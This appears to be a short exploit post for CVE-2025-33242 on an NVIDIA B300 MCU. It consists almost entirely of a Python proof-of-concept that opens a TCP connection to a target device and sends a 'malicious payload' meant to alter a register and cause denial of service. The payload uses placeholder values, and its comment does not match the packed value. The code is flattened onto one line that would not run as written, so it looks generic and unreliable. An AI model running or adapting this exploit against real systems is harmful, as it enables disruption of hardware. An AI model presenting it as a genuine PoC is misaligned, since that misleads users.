CVE-2025-33242 NVIDIA B300 MCU注册表修改漏洞

import socket import struct def exploit_nvidia_mcu(target_ip, target_port): """ PoC for CVE-2025-33242 Attempts to modify an unsupported registry on NVIDIA B300 MCU. """ try: # Connect to the target MCU service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Construct malicious payload to modify registry # Header [0xDEADBEEF] | RegID [0x1337] | Value [0xFFFFFFFF] payload = struct.pack('>IHH', 0xDEADBEEF, 0x1337, 0xFFFF) print(f"[*] Sending malicious payload to {target_ip}:{target_port}") s.send(payload) print("[+] Payload sent. Check device status for DoS/State change.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_nvidia_mcu("192.168.1.100", 8080)